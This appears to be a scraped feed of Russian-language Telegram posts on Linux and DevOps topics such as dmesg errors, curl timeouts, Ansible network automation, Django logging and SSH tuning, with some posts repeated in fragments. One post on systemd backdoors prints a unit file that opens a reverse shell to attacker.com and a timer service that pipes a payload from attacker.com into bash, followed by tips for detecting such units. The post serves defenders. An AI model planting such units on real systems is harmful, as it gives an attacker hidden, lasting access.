Расшифровка dmesg: странные ошибки ядра и что они на самом деле значат
Ошибки, которые выводит ядро в dmesg, могут быть не просто набором цифр и букв. Знание того, как их расшифровывать, позволит быстрее находить и устранять системные проблемы, такие как перегрузки, краши и тормоза.
В этом посте мы разберем два распространенных, но часто недооцененных типа ошибок: __ratelimit и unreachable code.
1️⃣ Ошибка __ratelimit
Эта ошибка возникает, когда система пытается записать слишком много логов за короткий промежуток времени.
В целях защиты от перегрузки ядро ограничивает частоту сообщений, чтобы избежать избыточного заполнения лога и снижения производительности.
Пример:
Это означает, что 29 сообщений были подавлены, чтобы не замедлить работу системы. Частые ошибки в логах — это всегда повод обратить внимание на то, что вызывает их.
Чаще всего это связано с драйверами, приложениями, или в случае высоких нагрузок — избыточным логированием.
Что делать:
⏺ Проверьте, какие процессы или модули генерируют сообщения.
⏺ Изучите приложение, которое вызывает чрезмерное логирование.
⏺ Попробуйте уменьшить частоту логов или настроить их на более эффективную обработку.
2️⃣ Ошибка unreachable code
Когда ядро пытается выполнить код, который по каким-то причинам недоступен, вы увидите ошибку типа unreachable code.
Это может произойти из-за неправильной работы модуля, ошибки в коде ядра или несовместимости компонентов. Ошибки такого рода не всегда ведут к крашу, но они могут быть сигналом о проблемах с настройкой системы.
Пример:
Что делать:
⏺ Проверьте, какие модули ядра загружены и их конфигурации.
⏺ Убедитесь, что используемые драйверы и ядро совместимы.
⏺ Рассмотрите возможность обновления или переустановки модулей.
Практическая диагностика
Чтобы быстрее понять, что происходит с системой, используйте инструменты диагностики:
• strace: Помогает отслеживать системные вызовы процессов.
• lsof: Показывает, какие файлы открыты в данный момент.
• sysstat: Предоставляет статистику о состоянии системы и её ресурсов.
Ошибки, которые выводит ядро в dmesg, могут быть не просто набором цифр и букв. Знание того, как их расшифровывать, позволит быстрее находить и устранять системные проблемы, такие как перегрузки, краши и тормоза.
В этом посте мы разберем два распространенных, но часто недооцененных типа ошибок: __ratelimit и unreachable code.
Эта ошибка возникает, когда система пытается записать слишком много логов за короткий промежуток времени.
В целях защиты от перегрузки ядро ограничивает частоту сообщений, чтобы избежать избыточного заполнения лога и снижения производительности.
Пример:
[<time>] __ratelimit: 29 msgs suppressed
Это означает, что 29 сообщений были подавлены, чтобы не замедлить работу системы. Частые ошибки в логах — это всегда повод обратить внимание на то, что вызывает их.
Чаще всего это связано с драйверами, приложениями, или в случае высоких нагрузок — избыточным логированием.
Что делать:
Когда ядро пытается выполнить код, который по каким-то причинам недоступен, вы увидите ошибку типа unreachable code.
Это может произойти из-за неправильной работы модуля, ошибки в коде ядра или несовместимости компонентов. Ошибки такого рода не всегда ведут к крашу, но они могут быть сигналом о проблемах с настройкой системы.
Пример:
[<time>] unreachable code reached at kernel/xxx.c
Что делать:
Практическая диагностика
Чтобы быстрее понять, что происходит с системой, используйте инструменты диагностики:
• strace: Помогает отслеживать системные вызовы процессов.
• lsof: Показывает, какие файлы открыты в данный момент.
• sysstat: Предоставляет статистику о состоянии системы и её ресурсов.
Эти инструменты могут помочь выяснить, какие процессы или приложения создают проблемы, а также укажут на узкие места в системе.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍6👎2
Скрытые таймауты в curl: почему “повисла” проверка
По умолчанию curl не устанавливает жесткий общий таймаут.
Если удалённый сервер принял TCP-соединение, но не отдает тело (например, из-за reverse proxy, фильтра или капчи), curl может зависнуть навсегда.
Проблема особенно опасна в автотестах, healthcheck’ах и системах мониторинга, где поведение curl считается индикатором доступности.
Решения:
1️⃣ Использовать --max-time, чтобы ограничить общее время:
2️⃣ Или задать более тонкие параметры:
• --connect-timeout — максимум на установку TCP.
• --speed-time и --speed-limit — если скорость ниже лимита, сессия завершается.
Если curl запускается как часть healthcheck в контейнере — лучше всегда задавать явные лимиты.
Особенно на нестабильных сетях, где DNS работает, TCP открывается, но данные идут медленно или не приходят вовсе.
Иногда вы запускаете curl в CI/CD или на сервере — и он “висит”. Не падает, не отвечает, не завершается. На первый взгляд — загадка. На деле — особенность настроек.
По умолчанию curl не устанавливает жесткий общий таймаут.
Если удалённый сервер принял TCP-соединение, но не отдает тело (например, из-за reverse proxy, фильтра или капчи), curl может зависнуть навсегда.
Проблема особенно опасна в автотестах, healthcheck’ах и системах мониторинга, где поведение curl считается индикатором доступности.
Решения:
curl --max-time 10 https://example.com
curl --connect-timeout 5 --speed-time 10 --speed-limit 100
• --connect-timeout — максимум на установку TCP.
• --speed-time и --speed-limit — если скорость ниже лимита, сессия завершается.
Если curl запускается как часть healthcheck в контейнере — лучше всегда задавать явные лимиты.
Особенно на нестабильных сетях, где DNS работает, TCP открывается, но данные идут медленно или не приходят вовсе.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍9
Как можно обеспечить изоляцию памяти между контейнерами в одном хосте?
Anonymous Quiz
12%
Использовать udev
55%
Настроить cgroups с лимитами по памяти
28%
Установить разные UID внутри контейнеров
5%
Использовать netfilter
👍9
Проблемы с файловыми системами
При использовании SSD для контейнерных решений важно правильно выбрать файловую систему:
• ext4: Подходит для общего использования, но не всегда эффективна при большом числе операций записи, характерных для контейнеров.
• XFS: Хорошо работает с большими файлами, но страдает при работе с мелкими.
• btrfs: Имеет интересные функции, такие как дедупликация и сжатие, но может тормозить при интенсивной записи.
Docker и тома
По умолчанию Docker использует overlay2 для управления слоями контейнеров.
Также SSD чувствительны к блокировкам метаданных, что еще больше снижает производительность.
Причины потери производительности
⏺ Журналирование: SSD быстрее работают, но если Docker не оптимизирован для этого, это может привести к потере производительности.
⏺ Малые файлы: Контейнеры часто работают с малым количеством данных, что вызывает дополнительные нагрузки на файловую систему.
1️⃣ Выбор файловой системы: Для SSD рекомендуется использовать XFS или btrfs, которые лучше справляются с мелкими файлами и высокой нагрузкой.
2️⃣ Оптимизация Docker: Отключите избыточное журналирование и используйте bind mount для томов.
3️⃣ Настройка SSD: Включите TRIM, чтобы SSD правильно освобождал место и поддерживал свою производительность.
4️⃣ Использование ZFS: Если производительность критична, ZFS будет более эффективен в контейнерных окружениях.
При использовании SSD для контейнерных решений важно правильно выбрать файловую систему:
• ext4: Подходит для общего использования, но не всегда эффективна при большом числе операций записи, характерных для контейнеров.
• XFS: Хорошо работает с большими файлами, но страдает при работе с мелкими.
• btrfs: Имеет интересные функции, такие как дедупликация и сжатие, но может тормозить при интенсивной записи.
Docker и тома
По умолчанию Docker использует overlay2 для управления слоями контейнеров.
Это может привести к дополнительным нагрузкам на SSD, так как каждый слой добавляется поверх предыдущего, увеличивая количество операций записи.
Также SSD чувствительны к блокировкам метаданных, что еще больше снижает производительность.
Причины потери производительности
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19❤2
Как интегрировать и автоматизировать Ansible для настройки сетевых устройств (Cisco, Juniper)
В этом посте мы рассмотрим, как использовать Ansible для настройки сетевых устройств, таких как Cisco и Juniper, с примерами реальных сценариев.
1️⃣ Установка Ansible и необходимых коллекций
Для начала, нужно установить сам Ansible и необходимые коллекции для работы с сетевыми устройствами.
Установка Ansible:
Установка коллекций для Cisco и Juniper:
Эти коллекции содержат модули для управления сетевыми устройствами Cisco IOS и Junos, и их использование существенно облегчает автоматизацию.
2️⃣ Пример настройки устройства Cisco с использованием Ansible
Рассмотрим сценарий, в котором необходимо настроить несколько устройств Cisco, используя Ansible.
Инвентарный файл (например, inventory.ini):
Пример playbook для настройки VLAN на Cisco (например, configure_vlans.yml):
Запуск playbook:
Этот пример создаст VLAN 10 и 20, а затем назначит VLAN 10 на интерфейс GigabitEthernet1/0/1 на устройствах Cisco.
3️⃣ Пример настройки устройства Juniper с использованием Ansible
Теперь рассмотрим пример настройки устройства Juniper.
Инвентарный файл для Juniper (inventory.ini):
Пример playbook для настройки интерфейса на Juniper (например, configure_juniper_interface.yml):
Запуск playbook:
Этот playbook настраивает интерфейс ge-0/0/0 с IP-адресом
Ansible — это мощный инструмент для автоматизации конфигурации серверов и сетевых устройств.
В этом посте мы рассмотрим, как использовать Ansible для настройки сетевых устройств, таких как Cisco и Juniper, с примерами реальных сценариев.
Для начала, нужно установить сам Ansible и необходимые коллекции для работы с сетевыми устройствами.
Установка Ansible:
sudo apt update
sudo apt install ansible
Установка коллекций для Cisco и Juniper:
ansible-galaxy collection install cisco.ios
ansible-galaxy collection install juniper.junos
Эти коллекции содержат модули для управления сетевыми устройствами Cisco IOS и Junos, и их использование существенно облегчает автоматизацию.
Рассмотрим сценарий, в котором необходимо настроить несколько устройств Cisco, используя Ansible.
Инвентарный файл (например, inventory.ini):
[cisco_switches]
192.168.1.10
192.168.1.11
[cisco_switches:vars]
ansible_network_os=cisco.ios.ios
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli
ansible_become=yes
ansible_become_method=enable
Пример playbook для настройки VLAN на Cisco (например, configure_vlans.yml):
- name: Configure VLANs on Cisco Switches
hosts: cisco_switches
gather_facts: no
tasks:
- name: Create VLAN 10
cisco.ios.ios_vlan:
vlan_id: 10
name: "Sales"
state: present
- name: Create VLAN 20
cisco.ios.ios_vlan:
vlan_id: 20
name: "Marketing"
state: present
- name: Assign VLAN 10 to interface GigabitEthernet1/0/1
cisco.ios.ios_interface:
name: GigabitEthernet1/0/1
vlan: 10
state: up
Запуск playbook:
ansible-playbook -i inventory.ini configure_vlans.yml
Этот пример создаст VLAN 10 и 20, а затем назначит VLAN 10 на интерфейс GigabitEthernet1/0/1 на устройствах Cisco.
Теперь рассмотрим пример настройки устройства Juniper.
Инвентарный файл для Juniper (inventory.ini):
[juniper_routers]
192.168.1.20
[juniper_routers:vars]
ansible_network_os=juniper.junos.junos
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli
Пример playbook для настройки интерфейса на Juniper (например, configure_juniper_interface.yml):
- name: Configure Interface on Juniper Router
hosts: juniper_routers
gather_facts: no
tasks:
- name: Configure interface ge-0/0/0
juniper.junos.junos_interface:
name: ge-0/0/0
unit: 0
family_inet_address: 192.168.2.1/24
state: present
Запуск playbook:
ansible-playbook -i inventory.ini configure_juniper_interface.yml
Этот playbook настраивает интерфейс ge-0/0/0 с IP-адресом
192.168.2.1/24
на устройстве Juniper.Please open Telegram to view this post
VIEW IN TELEGRAM
👍17🔥3❤1
Fedora Linux 42 теперь официально в WSL
Microsoft добавила Fedora Linux 42 в список официально поддерживаемых дистрибутивов WSL (Windows Subsystem for Linux).
Если вы на Windows 11 с WSL2 — достаточно одной команды:
Запуск:
Fedora 42 можно использовать как полноценную рабочую среду: внутри — GNOME 48, KDE Plasma 6.3, ядро 6.14, GCC 15, PHP 8.4, Ruby 3.4, Ansible 11 и многое другое. Работает на x86_64, ARM64 и даже Power64.
Microsoft уже добавила GUI-интерфейс для управления дистрибутивами в WSL и продолжает развивать поддержку графических приложений прямо внутри Fedora.
Microsoft добавила Fedora Linux 42 в список официально поддерживаемых дистрибутивов WSL (Windows Subsystem for Linux).
Если вы на Windows 11 с WSL2 — достаточно одной команды:
wsl --install FedoraLinux-42
Запуск:
wsl -d FedoraLinux-42
Fedora 42 можно использовать как полноценную рабочую среду: внутри — GNOME 48, KDE Plasma 6.3, ядро 6.14, GCC 15, PHP 8.4, Ruby 3.4, Ansible 11 и многое другое. Работает на x86_64, ARM64 и даже Power64.
Microsoft уже добавила GUI-интерфейс для управления дистрибутивами в WSL и продолжает развивать поддержку графических приложений прямо внутри Fedora.
Теперь можно обойтись без двойной загрузки или VM — всё внутри Windows.
❤9🔥4👍2
Backdoor в systemd: нестандартные юниты и что туда могут спрятать
В продакшене всё чаще встречаются случаи, когда вредонос не сидит в /etc/rc.local, crontab или .bashrc, а встраивается прямо в systemd. Причём аккуратно, с видом “службы мониторинга” или “агента безопасности”.
1. Маскировка reverse shell под systemd-сервис
Простой пример unit-файла, запускающего обратную оболочку:
Такой юнит можно сохранить в /etc/systemd/system/sys-health.service и активировать через systemctl enable --now sys-health.service. На глаз — просто очередная служба.
2. Распределённый запуск через таймер
Юниты можно запускать не постоянно, а по расписанию, как cron:
Такой таймер будет запускать бекдор раз в 6 часов — и его легко упустить, особенно если не смотрите systemctl list-timers.
3. Примеры более изощрённого поведения
Некоторые вредоносы:
• подсовывают юниты в ~/.config/systemd/user/, чтобы не требовать root-доступа;
• используют бинарники с нейтральными названиями (/usr/local/bin/kworker или /opt/metricsd);
• пишут логи в /dev/null или ExecStartPre=/bin/sleep 60, чтобы избежать подозрений по таймингу.
4. Как искать такие юниты
⏺ systemctl list-units --type=service --all — ищем странные описания и пути к исполняемым файлам.
⏺ systemctl cat <unit> — посмотреть полный юнит.
⏺ find /etc/systemd/ /lib/systemd/ ~/.config/systemd/ -name "*.service" — ручной обход.
⏺ Проверка таймеров: systemctl list-timers --all.
В продакшене всё чаще встречаются случаи, когда вредонос не сидит в /etc/rc.local, crontab или .bashrc, а встраивается прямо в systemd. Причём аккуратно, с видом “службы мониторинга” или “агента безопасности”.
Разбираем, как через systemd можно спрятать обратную оболочку или исполнять вредоносный код по расписанию — и как это обнаружить.
1. Маскировка reverse shell под systemd-сервис
Простой пример unit-файла, запускающего обратную оболочку:
[Unit]
Description=System Health Monitor
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
Такой юнит можно сохранить в /etc/systemd/system/sys-health.service и активировать через systemctl enable --now sys-health.service. На глаз — просто очередная служба.
2. Распределённый запуск через таймер
Юниты можно запускать не постоянно, а по расписанию, как cron:
# /etc/systemd/system/collect.timer
[Unit]
Description=Collect stats timer
[Timer]
OnBootSec=5min
OnUnitActiveSec=6h
Unit=collect.service
[Install]
WantedBy=timers.target
# /etc/systemd/system/collect.service
[Unit]
Description=Run data collector
[Service]
ExecStart=/usr/bin/curl -s https://attacker.com/payload.sh | bash
Такой таймер будет запускать бекдор раз в 6 часов — и его легко упустить, особенно если не смотрите systemctl list-timers.
3. Примеры более изощрённого поведения
Некоторые вредоносы:
• подсовывают юниты в ~/.config/systemd/user/, чтобы не требовать root-доступа;
• используют бинарники с нейтральными названиями (/usr/local/bin/kworker или /opt/metricsd);
• пишут логи в /dev/null или ExecStartPre=/bin/sleep 60, чтобы избежать подозрений по таймингу.
4. Как искать такие юниты
Please open Telegram to view this post
VIEW IN TELEGRAM
👍25❤1
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Основные компоненты:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10❤2
Ведение журналов в Django: как отлаживать проект, не лезя в консоль
Единственный совершенный код — это код, который так и не написали. А если вы его всё-таки написали — будьте готовы отлаживать.
Django уже поставляется с поддержкой логирования через стандартный модуль logging, и настроить его можно за 5 минут. Главное — понимать, что и зачем вы пишете в логи.
Что такое логирование в Python?
Это механизм для записи сообщений об ошибках, предупреждениях, событиях и внутренних действиях системы. Он позволяет:
• понимать, что пошло не так и где это произошло;
• воспроизводить баги;
• видеть поведение фоновых задач, сигналов, миграций, API-запросов.
4 ключевых компонента системы логов Django:
1️⃣ Logger — точка входа. Вызываете logger.warning("Что-то пошло не так").
2️⃣ Handler — указывает, куда писать: в файл, на консоль, в e-mail.
3️⃣ Filter — фильтрует сообщения по условиям: уровень, модуль, пользователь.
4️⃣ Formatter — форматирует вывод: добавляет timestamp, уровень, текст и т.п.
Пример настройки логов в settings.py:
Этот код отправляет все WARNING и выше в warning.log.
Хочется видеть критические ошибки на почте? Добавьте AdminEmailHandler.
Хотите писать SQL-запросы в лог? Подключите django.db.backends.
Где это реально помогает:
⏺ debug фоновых задач Celery, которые отвалились без трейсбека;
⏺ отладка middleware и ранних исключений;
⏺ логирование пользовательских действий, если нет Sentry;
⏺ поиск редких ошибок в проде, которые не воспроизводятся на локалке.
Единственный совершенный код — это код, который так и не написали. А если вы его всё-таки написали — будьте готовы отлаживать.
Чтобы не разбираться с ошибками “на глаз”, используйте логирование: это ваша чёрная коробка, в которую пишет всё, что происходит в приложении.
Django уже поставляется с поддержкой логирования через стандартный модуль logging, и настроить его можно за 5 минут. Главное — понимать, что и зачем вы пишете в логи.
Что такое логирование в Python?
Это механизм для записи сообщений об ошибках, предупреждениях, событиях и внутренних действиях системы. Он позволяет:
• понимать, что пошло не так и где это произошло;
• воспроизводить баги;
• видеть поведение фоновых задач, сигналов, миграций, API-запросов.
4 ключевых компонента системы логов Django:
Пример настройки логов в settings.py:
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'file': {
'level': 'WARNING',
'class': 'logging.FileHandler',
'filename': BASE_DIR / 'warning.log',
},
},
'loggers': {
'': {
'handlers': ['file'],
'level': 'WARNING',
'propagate': True,
},
},
}
Этот код отправляет все WARNING и выше в warning.log.
Хочется видеть критические ошибки на почте? Добавьте AdminEmailHandler.
Хотите писать SQL-запросы в лог? Подключите django.db.backends.
Где это реально помогает:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥2
Релиз OpenSearch 3.0: что нового?
OpenSearch 3.0 — свежий релиз проекта от OpenSearch Software Foundation под крылом Linux Foundation. Это форк Elasticsearch и Kibana, созданный в 2021 году после перехода Elastic на несвободную лицензию.
Проект активно развивают Amazon, SAP, Uber, Canonical и другие, а код распространяется под Apache 2.0.
Что нового в 3.0:
⏺ Векторный движок с поддержкой GPU: ускорение поиска и интеграция с LLM (LangChain, OpenAI и др.).
⏺ Оптимизация хранения векторов: до 30 раз быстрее холодный старт, меньше места.
⏺ Поддержка gRPC: передача данных быстрее и с меньшими накладными расходами.
⏺ Подключение потоков: прямой pull из Kafka и Kinesis.
⏺ Разделение трафика: чтение и запись теперь можно разнести.
⏺ PPL и Calcite: расширенные SQL-возможности.
⏺ Автоопределение типов индексов: улучшено логирование.
⏺ Lucene 10 и Java 21: новая производительность, модульность, параллелизм, +25–75% в скорости на тестах.
Проект остаётся опенсорсной альтернативой Elasticsearch с фокусом на расширяемость и интеграции с ML/AI.
OpenSearch 3.0 — свежий релиз проекта от OpenSearch Software Foundation под крылом Linux Foundation. Это форк Elasticsearch и Kibana, созданный в 2021 году после перехода Elastic на несвободную лицензию.
Проект активно развивают Amazon, SAP, Uber, Canonical и другие, а код распространяется под Apache 2.0.
Что нового в 3.0:
Проект остаётся опенсорсной альтернативой Elasticsearch с фокусом на расширяемость и интеграции с ML/AI.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥1
Пишем журналы в Django.
Часть 2
Вы настроили ведение логов в Django и теперь хотите увидеть, как это работает в действии?
Когда пользователь заходит на главную, мы выводим «Hello FreeCodeCamp.org Reader :)», а в лог warning.log записываем, что кто-то заходил на страницу и когда именно.
1️⃣ Создаём проект и виртуальное окружение
2️⃣ Устанавливаем Django
3️⃣ Создаём проект и приложение
4️⃣ Добавляем приложение в INSTALLED_APPS
Откройте settings.py и добавьте 'logging_example', в список приложений:
5️⃣ Добавляем конфигурацию логирования в settings.py
(Если ещё не добавляли)
Создайте папку logs:
6️⃣ Пишем код логирования
views.py в приложении logging_example:
7️⃣ Настраиваем маршруты
В urls.py основного проекта:
8️⃣ Запуск и тестирование
Запустите сервер разработки:
Откройте в браузере
Часть 2
Вы настроили ведение логов в Django и теперь хотите увидеть, как это работает в действии?
Давайте добавим простую домашнюю страницу и настроим журналирование каждого её посещения.
Когда пользователь заходит на главную, мы выводим «Hello FreeCodeCamp.org Reader :)», а в лог warning.log записываем, что кто-то заходил на страницу и когда именно.
mkdir django-logging-tutorial
cd django-logging-tutorial
python3 -m venv venv
source venv/bin/activate
pip install django
django-admin startproject django_logging_tutorial .
python manage.py startapp logging_example
Откройте settings.py и добавьте 'logging_example', в список приложений:
INSTALLED_APPS = [
...
'logging_example',
]
(Если ещё не добавляли)
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'file': {
'level': 'WARNING',
'class': 'logging.FileHandler',
'filename': 'logs/warning.log',
},
},
'loggers': {
'django': {
'handlers': ['file'],
'level': 'WARNING',
'propagate': True,
},
},
}
Создайте папку logs:
mkdir logs
views.py в приложении logging_example:
from django.http import HttpResponse
import datetime
import logging
logger = logging.getLogger(__name__)
def hello_reader(request):
logger.warning('Homepage was accessed at ' + str(datetime.datetime.now()) + ' hours!')
return HttpResponse("<h1>Hello FreeCodeCamp.org Reader :)</h1>")
В urls.py основного проекта:
from django.contrib import admin
from django.urls import path
from logging_example import views
urlpatterns = [
path('admin/', admin.site.urls),
path('', views.hello_reader, name="hello_reader")
]
Запустите сервер разработки:
python manage.py runserver
Откройте в браузере
https://127.0.0.1:8000/
и несколько раз обновите страницу. Затем проверьте файл logs/warning.log. Там появится что-то вроде:Homepage was accessed at 2025-05-07 22:38:29.922510 hours!
Homepage was accessed at 2025-05-07 22:48:35.088296 hours!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤1
Что делает ip link set eth0 mtu 1400?
Anonymous Quiz
8%
Устанавливает лимит на количество подключений
13%
Изменяет размер TCP-окон
77%
Устанавливает максимальный размер кадра для интерфейса
1%
Включает режим jumbo frames
👍9❤1
Пинг без ICMP: как проверить доступность, если всё закрыто
Когда вы работаете с инфраструктурой, где ICMP-запросы блокируются (например, корпоративные фаерволы, жесткие политики безопасности или хостинг-провайдеры), привычный ping перестаёт быть полезным.
Но проверка доступности хоста или сервиса по-прежнему нужна. Что делать?
Альтернативы ICMP-пингу:
1️⃣ TCP ping через nmap, nc или telnet — подключаемся к порту:
или
2️⃣ curl или wget — если работает HTTP(S), можно проверить ответ сервиса:
3️⃣ hping3 — мощный инструмент для TCP/UDP/ICMP-проверок с возможностью задать порты и заголовки вручную:
4️⃣ fping — массовый ping, умеет работать и без ICMP при нужных флагах.
5️⃣ PowerShell (для Windows-серверов):
Когда вы работаете с инфраструктурой, где ICMP-запросы блокируются (например, корпоративные фаерволы, жесткие политики безопасности или хостинг-провайдеры), привычный ping перестаёт быть полезным.
Но проверка доступности хоста или сервиса по-прежнему нужна. Что делать?
Альтернативы ICMP-пингу:
nc -zv 192.168.0.1 22
или
nmap -p 80 192.168.0.1
curl -Is https://example.com | head -n 1
hping3 -S -p 80 example.com
Test-NetConnection -ComputerName example.com -Port 443
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21👎3🔥3
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Применение eBPF:
— Сетевой фильтр: ускоряет обработку пакетов, применяется в XDP и Cilium.
— Мониторинг и трассировка: инструменты вроде BCC и bpftrace используют eBPF для анализа работы ядра в реальном времени.
— Безопасность: используется в системе защиты, такой как Falco, для обнаружения аномалий.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14👎1
Ускоряем SSH: как избавиться от задержки в 3 секунды
Вы заходите на сервер по SSH, и перед тем как появится приглашение ввести пароль — пауза. Иногда целых 2–5 секунд. Почему так?
Виновник — GSSAPIAuthentication.
SSH по умолчанию пытается авторизоваться через Kerberos (GSSAPI), даже если вы им не пользуетесь.
Как решить:
1️⃣ Отключите на клиенте (вашем компьютере):
Откройте или создайте файл ~/.ssh/config и добавьте:
2️⃣ Хотите на сервере — можно и так:
Файл /etc/ssh/sshd_config, найдите строку:
и замените на:
После чего:
Вы заходите на сервер по SSH, и перед тем как появится приглашение ввести пароль — пауза. Иногда целых 2–5 секунд. Почему так?
Виновник — GSSAPIAuthentication.
SSH по умолчанию пытается авторизоваться через Kerberos (GSSAPI), даже если вы им не пользуетесь.
Это особенно заметно, если DNS или обратное имя хоста не настроены идеально. В итоге клиент ждёт ответа, которого не будет.
Как решить:
Откройте или создайте файл ~/.ssh/config и добавьте:
Host *
GSSAPIAuthentication no
Файл /etc/ssh/sshd_config, найдите строку:
GSSAPIAuthentication yes
и замените на:
GSSAPIAuthentication no
После чего:
sudo systemctl restart sshd
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21🔥6❤2
Почему df -h показывает свободное место, а на диске его нет?
Частая причина — удалённый, но всё ещё используемый файл.
Когда вы удаляете файл (rm), но он всё ещё занят каким-либо процессом, то физически он остаётся на диске. df уже не учитывает его, а вот диск продолжает быть занят.
Как найти такие файлы:
Ищем строчки вроде:
Что делать:
Завершить процесс:
Или мягко:
Для логов — использовать logrotate с опцией copytruncate, чтобы не было подвешенных файлов.
Если виноват Docker, то:
Дополнительно проверьте:
Если заняты не блоки, а inode-ы:
Проверьте, где скапливаются файлы:
Ситуация: сервер начал падать, сервисы жалуются на “No space left on device”, но вы запускаете df -h — и вроде бы всё в порядке. Где же место?
Частая причина — удалённый, но всё ещё используемый файл.
Когда вы удаляете файл (rm), но он всё ещё занят каким-либо процессом, то физически он остаётся на диске. df уже не учитывает его, а вот диск продолжает быть занят.
Как найти такие файлы:
lsof | grep deleted
Ищем строчки вроде:
nginx 1234 www-data 4w REG 8,1 2G 1234567 /var/log/nginx/access.log (deleted)
Что делать:
Завершить процесс:
kill -9 <PID>
Или мягко:
systemctl restart nginx
Для логов — использовать logrotate с опцией copytruncate, чтобы не было подвешенных файлов.
Если виноват Docker, то:
docker system prune -af
Дополнительно проверьте:
Если заняты не блоки, а inode-ы:
df -i
Проверьте, где скапливаются файлы:
du -shx /* 2>/dev/null | sort -h
👍36
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Ключевые отличия:
— Без демона: Podman не использует фоновый процесс, каждый контейнер — это обычный процесс в системе.
— Rootless режим: Контейнеры могут запускаться от обычного пользователя.
— Совместимость: Поддерживает Dockerfile и команды docker run, docker build и т.д.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥3